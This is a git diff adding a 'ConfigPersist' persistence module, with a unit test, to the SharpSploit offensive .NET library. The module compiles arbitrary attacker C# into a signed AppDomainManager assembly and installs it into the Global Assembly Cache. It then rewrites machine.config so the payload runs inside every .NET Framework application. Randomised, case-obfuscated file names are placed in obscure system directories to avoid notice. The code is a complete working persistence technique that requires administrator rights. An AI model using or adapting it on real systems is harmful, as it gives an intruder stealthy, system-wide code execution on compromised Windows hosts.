diff --git a/SharpSploit.Tests/SharpSploit.Tests/Persistence/ConfigPersistTest.cs b/SharpSploit.Tests/SharpSploit.Tests/Persistence/ConfigPersistTest.cs
new file mode 100644
index 0000000..5d1bbfd
--- /dev/null
+++ b/SharpSploit.Tests/SharpSploit.Tests/Persistence/ConfigPersistTest.cs
@@ -0,0 +1,22 @@
+// Author: Ryan Cobb (@cobbr_io)
+// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
+// License: BSD 3-Clause
+
+using Microsoft.VisualStudio.TestTools.UnitTesting;
+using SharpSploit.Persistence;
+
+namespace SharpSploit.Framework.Tests.Persistence
+{
+ [TestClass]
+ public class ConfigPersistTest
+ {
+ [TestMethod]
+ public void TestInstallation()
+ {
+ var configPersist = new ConfigPersist();
+ bool result = configPersist.InstallConfigPersist(@"System.Diagnostics.Process.Start(""calc.exe"")");
+
+ Assert.IsTrue(result);
+ }
+ }
+}
diff --git a/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj b/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj
index 777ec7e..86763b0 100644
--- a/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj
+++ b/SharpSploit.Tests/SharpSploit.Tests/SharpSploit.Tests.csproj
@@ -70,6 +70,7 @@
+
diff --git a/SharpSploit/Persistence/ConfigPersist.cs b/SharpSploit/Persistence/ConfigPersist.cs
new file mode 100644
index 0000000..d218aaf
--- /dev/null
+++ b/SharpSploit/Persistence/ConfigPersist.cs
@@ -0,0 +1,438 @@
+// Author: Ryan Cobb (@cobbr_io)
+// Project: SharpSploit (https://github.com/cobbr/SharpSploit)
+// License: BSD 3-Clause
+
+using System;
+using System.CodeDom.Compiler;
+using System.Xml;
+using System.EnterpriseServices.Internal;
+using System.Collections.Generic;
+using System.IO;
+using System.Security.Principal;
+using System.ComponentModel;
+using System.Runtime.InteropServices;
+using System.Linq;
+
+namespace SharpSploit.Persistence
+{
+
+
+ ///
+ /// Class represents a Tuple since tuples do not exist until .NET Framework 4 😡
+ /// https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008
+ ///
+ /// Item 1
+ /// Item 2
+ /// Item 3
+ public class MyTuple
+ {
+ public T Item1 { get; private set; }
+ public U Item2 { get; private set; }
+ public V Item3 { get; private set; }
+
+ public MyTuple(T item1, U item2, V item3)
+ {
+ Item1 = item1;
+ Item2 = item2;
+ Item3 = item3;
+ }
+
+ }
+
+ ///
+ /// Static class of Tuple
+ /// https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008
+ ///
+ public static class MyTuple
+ {
+ public static MyTuple Create(T item1, U item2, V item3)
+ {
+ return new MyTuple(item1, item2, item3);
+ }
+ }
+
+
+ ///
+ /// ConfigPersist is a class that performs CLR hooking via modifying machine.config. Requires elevation.
+ ///
+ public class ConfigPersist
+ {
+
+ private static string CharObfuscation(string str)
+ {
+ string randomString = "";
+ Random rnd = new Random();
+ foreach (var letter in str)
+ {
+ int rand_num = rnd.Next(1, 3);
+ randomString += rand_num == 1 ? char.ToLower(letter) : char.ToUpper(letter);
+ }
+ return randomString;
+ }
+
+ private static string Createstr()
+ {
+ var firstValid = Enumerable.Range(65, 26).ToList().Concat(Enumerable.Range(97, 26).ToList());
+ var fiveRandom = firstValid.AsEnumerable().OrderBy(num => Guid.NewGuid()).Take(5);
+ string name = "";
+ fiveRandom.ToList().ForEach(num => name += (char)num);
+ return name;
+ }
+
+ private static bool IsAdminorSystem()
+ {
+ bool isSystem;
+ using (var identity = WindowsIdentity.GetCurrent())
+ {
+ isSystem = identity.IsSystem;
+ }
+
+ return isSystem || WindowsIdentity.GetCurrent().Owner.IsWellKnown(WellKnownSidType.BuiltinAdministratorsSid);
+ }
+
+ ///
+ /// Determines if a directory is writable.
+ ///
+ /// Directory path.
+ /// Bool so if fails throw an error.
+ /// bool that indicates if directory is writable.
+ private static bool IsDirectoryWritable(string dirPath, bool throwIfFails = false)
+ {
+ // https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder
+ // Sanity check to see if we can place our compiled dll in our special path
+ try
+ {
+ using (FileStream fs = File.Create(
+ Path.Combine(
+ dirPath,
+ Path.GetRandomFileName()),
+ 1,
+ FileOptions.DeleteOnClose))
+ {
+ }
+
+ return true;
+ }
+ catch
+ {
+ if (throwIfFails)
+ {
+ throw;
+ }
+ else
+ {
+ return false;
+ }
+ }
+ }
+
+ ///
+ /// Determines where to place compiled assembly and keyfile given list of paths.
+ ///
+ /// Randomly selected path from path list.
+ private static string GetPath()
+ {
+ var winPath = "C:\\WINDOWS";
+ var sys32 = $"{winPath}\\System32";
+
+ // Thank you to matterpreter for this list :)
+ List paths = new List
+ {
+ $"{sys32}\\microsoft\\crypto\rsa\\machinekeys",
+ $"{winPath}\\syswow64\\tasks\\microsft\\windows\\pla\\system",
+ $"{winPath}\\debug\\wia",
+ $"{sys32}\\tasks",
+ $"{winPath}\\syswow64\\tasks",
+ $"{winPath}\\registration\\crmlog",
+ $"{sys32}\\com\\dmp",
+ $"{sys32}\\fxstmp",
+ $"{sys32}\\spool\\drivers\\color",
+ $"{sys32}\\spool\\printers",
+ $"{sys32}\\spool\\servers",
+ $"{winPath}\\syswow64\\com\\dmp",
+ $"{winPath}\\syswow64\\fxstmp",
+ $"{winPath}\\temp",
+ $"{winPath}\\tracing",
+ };
+ paths = paths.FindAll(path => Directory.Exists(path) && IsDirectoryWritable(path));
+
+ if (paths.Count == 0)
+ {
+ // Sanity check
+ // If for some reason every path fails we will just use our current directory
+ paths.Add(Environment.CurrentDirectory);
+ }
+
+ var random = new Random();
+
+ // return random path where we will place our strong signed assembly
+ return paths[random.Next(paths.Count)];
+ }
+
+ ///
+ /// Loads our strong signed .net assembly into the GAC.
+ ///
+ /// Path to .net assembly.
+ private static bool InstallAssembly(string path)
+ {
+ try
+ {
+ var publisher = new Publish();
+ publisher.GacInstall(path);
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine($"An exception occurred while attempting to install .net assembly into GAC {e}");
+ return false;
+ }
+
+ return true;
+ }
+
+ ///
+ /// Generates keyfile and places it in location from GetPath()
+ ///
+ ///
+ ///
+ private static string GenerateKeyFile(string fileName)
+ {
+ var path = fileName.Length == 0 ? $"{GetPath()}\\{CharObfuscation(Createstr())}.snk" : $"{GetPath()}\\{fileName}.snk";
+ //var path = $"{Environment.CurrentDirectory}\\key.snk";
+ try
+ {
+ StrongNameUtilities.GenerateKeyFile(path);
+ }
+ catch(Exception e)
+ {
+ Console.WriteLine($"Unable to generate keyfile: {e}");
+ }
+ return path;
+ }
+
+ ///
+ /// Compiles our strong signed assembly based on code in string and places dll in dllPath.
+ ///
+ /// Name of dll supplied by user, if one is not given will use randomly generated one
+ /// Path where assembly will be placed
+ /// C# code that will be ran whenver .net framework app is ran
+ /// Path to keyfile
+ /// Tuple containing path, assembly full name, and conext of assembly
+ private static MyTuple CompileDLL(string dllName, string dllPath, string payload, string keyPath)
+ {
+ // Feel free to change the name ConfigHooking or namespace
+ // Of course feel free to do more than just start calc :)
+
+ var firstPart = @"using System;
+ namespace Context {
+ public sealed class ConfigHooking : AppDomainManager {
+ public override void InitializeNewDomain(AppDomainSetup appDomainInfo) {";
+
+ var secondpart = @"return;}}}";
+ var malCSharp = firstPart + payload + secondpart;
+
+ CodeDomProvider objCodeCompiler = CodeDomProvider.CreateProvider("CSharp");
+ var name = dllName.Length == 0 ? CharObfuscation(Createstr()) : dllName;
+
+ // Generate name for strong signed .net assembly, will be name in GAC
+
+ CompilerParameters cp = new CompilerParameters();
+
+ // ADD reference assemblies here
+ cp.ReferencedAssemblies.Add("System.dll");
+ cp.TreatWarningsAsErrors = false;
+ dllPath = $"{dllPath}\\{name}.dll";
+ cp.OutputAssembly = dllPath;
+ cp.GenerateInMemory = false;
+ cp.CompilerOptions = "/optimize";
+
+ cp.CompilerOptions = $"/keyfile:{keyPath}";
+ cp.IncludeDebugInformation = false;
+ CompilerResults cr = objCodeCompiler.CompileAssemblyFromSource(cp, malCSharp);
+ var types = cr.CompiledAssembly.GetExportedTypes();
+ string context;
+ try
+ {
+ context = types[0].ToString();
+ Console.WriteLine($"inside try context is: {context}");
+ }
+ catch (Exception)
+ {
+ Console.WriteLine("types does not have length greater than 0");
+ context = "null";
+ }
+
+ string asmFullName;
+ try
+ {
+ asmFullName = cr.CompiledAssembly.FullName;
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine("An exception occurred while trying to get fullname, most likely due to missing keyfile!");
+ Console.WriteLine(e);
+ asmFullName = $"{name}, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null";
+ }
+
+ if (cr.Errors.Count > 0)
+ {
+ Console.WriteLine("Build errors occurred");
+ foreach (CompilerError ce in cr.Errors)
+ {
+ Console.WriteLine(ce);
+ }
+ return MyTuple.Create(string.Empty, string.Empty, string.Empty);
+ }
+ else
+ {
+ return MyTuple.Create(dllPath, asmFullName, context);
+ }
+ }
+
+ ///
+ /// This is where the magic happens
+ /// This is the core function that modifies the machine config
+ /// It will modify it so at runtime our strong signed .net assembly will be called.
+ ///
+ /// Path to machine.config.
+ /// Full Name for Assembly.
+ ///
+ private static bool FixConfig(string configpath, string assemblyFullName, string context)
+ {
+ try
+ {
+ Console.WriteLine($"inside fixConfig and assemblyFullName: {assemblyFullName}");
+ XmlDocument doc = new XmlDocument();
+ doc.Load(configpath);
+ XmlNode node = doc.SelectSingleNode("/configuration/runtime");
+ XmlElement ele = doc.CreateElement("appDomainManagerType");
+ ele.SetAttribute("value", context ?? "Context.ConfigHooking");
+ node.AppendChild(ele.Clone());
+ XmlElement secondEle = doc.CreateElement("appDomainManagerAssembly");
+ secondEle.SetAttribute("value", assemblyFullName);
+ node.AppendChild(secondEle.Clone());
+ doc.Save(configpath);
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine($"An exception has occurred while attempting to 'fix' config: {e}");
+ return false;
+ }
+
+ return true;
+ }
+
+ ///
+ /// Generates a keyfile, creates assembly, signs assembly, and modifies machine.config runtime element to perform clr hooking
+ ///
+ /// NotoriousRebel
+ /// A boolean, if true execute was successful false otherwise
+ /// C# code that will be executed during runtime of any .net framework app
+ /// Optional name for assembly to be installed onto GAC
+ /// Optional paramater for keyfile name
+ public bool InstallConfigPersist(string payload, string dllName="", string keyfileName="")
+ {
+ try
+ {
+ if (!IsAdminorSystem())
+ {
+ Console.WriteLine("Must be administrator for technique to work, exiting program!");
+ return false;
+ }
+
+ var dirPath = GetPath();
+ Console.WriteLine($"path is: {dirPath}");
+ var keyPath = GenerateKeyFile(keyfileName);
+ Console.WriteLine($"keyPath: {keyPath}");
+ var tuple = CompileDLL(dllName, dirPath, payload, keyPath);
+ string dllPath = tuple.Item1;
+ string asmFullName = tuple.Item2;
+ string context = tuple.Item3;
+ Console.WriteLine($"dllPath is {dllPath}");
+ Console.WriteLine($"asmFullName is: {asmFullName}");
+ Console.WriteLine($"context is: {context}");
+ bool loaded = InstallAssembly(dllPath);
+ if (loaded == false)
+ {
+ throw new Exception("Unable to install assembly into GAC");
+ }
+
+ Console.WriteLine($"Successfully added assembly to CLR: {asmFullName}");
+
+ var sysConfigFile = System.Runtime.InteropServices.RuntimeEnvironment.SystemConfigurationFile;
+ Console.WriteLine($"sysConfigFile: {sysConfigFile}");
+
+ var paths = new List()
+ {
+ sysConfigFile,
+ sysConfigFile.Contains("Framework64") ? sysConfigFile.Replace("Framework64", "Framework") : sysConfigFile.Replace("Framework", "Framework64"),
+ };
+
+ // Hours wasted debugging this because it returns 32 bit version of .NET Framework
+ foreach (var configPath in paths)
+ {
+ Console.WriteLine($" ConfigPath: {configPath}");
+ FixConfig(configPath, asmFullName, context);
+ }
+ return true;
+ }
+ catch (Exception e)
+ {
+ Console.WriteLine($"An error has occurred: {e}");
+ return false;
+ }
+ }
+ }
+
+ ///
+ /// Class to generate strong key https://stackoverflow.com/questions/50632961/c-sharp-create-snk-file-programmatically
+ /// Required to sign our assembly so we can install it onto the Global Assembly Cache to gain full-trust
+ ///
+ public sealed class StrongNameUtilities
+ {
+ public static void GenerateKeyFile(string snkFile, int keySizeInBits = 4096)
+ {
+ if (snkFile == null)
+ throw new ArgumentNullException(nameof(snkFile));
+
+ var bytes = GenerateKey(keySizeInBits);
+ File.WriteAllBytes(snkFile, bytes);
+ }
+
+ public static byte[] GenerateKey(int keySizeInBits = 4096)
+ {
+ if (!StrongNameKeyGenEx(null, 0, keySizeInBits, out var blob, out var size))
+ throw new Win32Exception(StrongNameErrorInfo());
+
+ try
+ {
+ var bytes = new byte[size];
+ Marshal.Copy(blob, bytes, 0, size);
+ return bytes;
+ }
+ finally
+ {
+ if (blob != IntPtr.Zero)
+ {
+ StrongNameFreeBuffer(blob);
+ }
+ }
+ }
+
+ [DllImport("mscoree")]
+ private extern static void StrongNameFreeBuffer(IntPtr pbMemory);
+
+ [DllImport("mscoree", CharSet = CharSet.Unicode)]
+ private static extern bool StrongNameGetPublicKey(
+ string szKeyContainer,
+ [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 2)] byte[] pbKeyBlob,
+ int cbKeyBlob,
+ out IntPtr ppbPublicKeyBlob,
+ out int pcbPublicKeyBlob);
+
+ [DllImport("mscoree", CharSet = CharSet.Unicode)]
+ private static extern bool StrongNameKeyGenEx(string wszKeyContainer, int dwFlags, int dwKeySize, out IntPtr ppbKeyBlob, out int pcbKeyBlob);
+
+ [DllImport("mscoree")]
+ private static extern int StrongNameErrorInfo();
+ }
+}
diff --git a/SharpSploit/References/net35/System.EnterpriseServices.Wrapper.dll b/SharpSploit/References/net35/System.EnterpriseServices.Wrapper.dll
new file mode 100644
index 0000000..502de74
Binary files /dev/null and b/SharpSploit/References/net35/System.EnterpriseServices.Wrapper.dll differ
diff --git a/SharpSploit/References/net35/System.EnterpriseServices.dll b/SharpSploit/References/net35/System.EnterpriseServices.dll
new file mode 100644
index 0000000..f9dd8ca
Binary files /dev/null and b/SharpSploit/References/net35/System.EnterpriseServices.dll differ
diff --git a/SharpSploit/References/net40/System.EnterpriseServices.dll b/SharpSploit/References/net40/System.EnterpriseServices.dll
new file mode 100644
index 0000000..d411d4d
Binary files /dev/null and b/SharpSploit/References/net40/System.EnterpriseServices.dll differ
diff --git a/SharpSploit/SharpSploit.csproj b/SharpSploit/SharpSploit.csproj
index 7afb94f..1d514dd 100644
--- a/SharpSploit/SharpSploit.csproj
+++ b/SharpSploit/SharpSploit.csproj
@@ -29,6 +29,7 @@
+
diff --git a/SharpSploit/SharpSploit.xml b/SharpSploit/SharpSploit.xml
index aa42b0d..f5b923c 100644
--- a/SharpSploit/SharpSploit.xml
+++ b/SharpSploit/SharpSploit.xml
@@ -2268,6 +2268,89 @@
Missing CLSID to abuse.
Path to the executable payload.
+
+
+ Class represents a Tuple since tuples do not exist until .NET Framework 4 😡
+ https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008
+
+ Item 1
+ Item 2
+ Item 3
+
+
+
+ Static class of Tuple
+ https://stackoverflow.com/questions/4312218/error-with-tuple-in-c-sharp-2008
+
+
+
+
+ ConfigPersist is a class that performs CLR hooking via modifying machine.config. Requires elevation.
+
+
+
+
+ Determines if a directory is writable.
+
+ Directory path.
+ Bool so if fails throw an error.
+ bool that indicates if directory is writable.
+
+
+
+ Determines where to place compiled assembly and keyfile given list of paths.
+
+ Randomly selected path from path list.
+
+
+
+ Loads our strong signed .net assembly into the GAC.
+
+ Path to .net assembly.
+
+
+
+ Generates keyfile and places it in location from GetPath()
+
+
+
+
+
+
+ Compiles our strong signed assembly based on code in string and places dll in dllPath.
+
+ Name of dll supplied by user, if one is not given will use randomly generated one
+ Path where assembly will be placed
+ C# code that will be ran whenver .net framework app is ran
+ Path to keyfile
+ Tuple containing path, assembly full name, and conext of assembly
+
+
+
+ This is where the magic happens
+ This is the core function that modifies the machine config
+ It will modify it so at runtime our strong signed .net assembly will be called.
+
+ Path to machine.config.
+ Full Name for Assembly.
+
+
+
+
+ Generates a keyfile, creates assembly, signs assembly, and modifies machine.config runtime element to perform clr hooking
+
+ NotoriousRebel
+ A boolean, if true execute was successful false otherwise
+ C# code that will be executed during runtime of any .net framework app
+ Optional name for assembly to be installed onto GAC
+ Optional paramater for keyfile name
+
+
+
+ Class to generate strong key https://stackoverflow.com/questions/50632961/c-sharp-create-snk-file-programmatically
+ Required to sign our assembly so we can install it onto the Global Assembly Cache to gain full-trust
+
+
Startup is a class for abusing the Windows Startup folder to establish peristence.